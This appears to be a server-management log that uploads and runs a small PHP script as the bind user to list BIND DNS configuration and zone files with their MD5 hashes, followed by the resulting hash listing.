MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 10:36:48: Establishing a connection
2026-04-28 10:36:48: 

PUT: /tmp/pkp606175

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 10:36:48: 

runuser -l bind -s /bin/bash -c '/tmp/pkp606175; rm /tmp/pkp606175'

2026-04-28 10:36:48: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
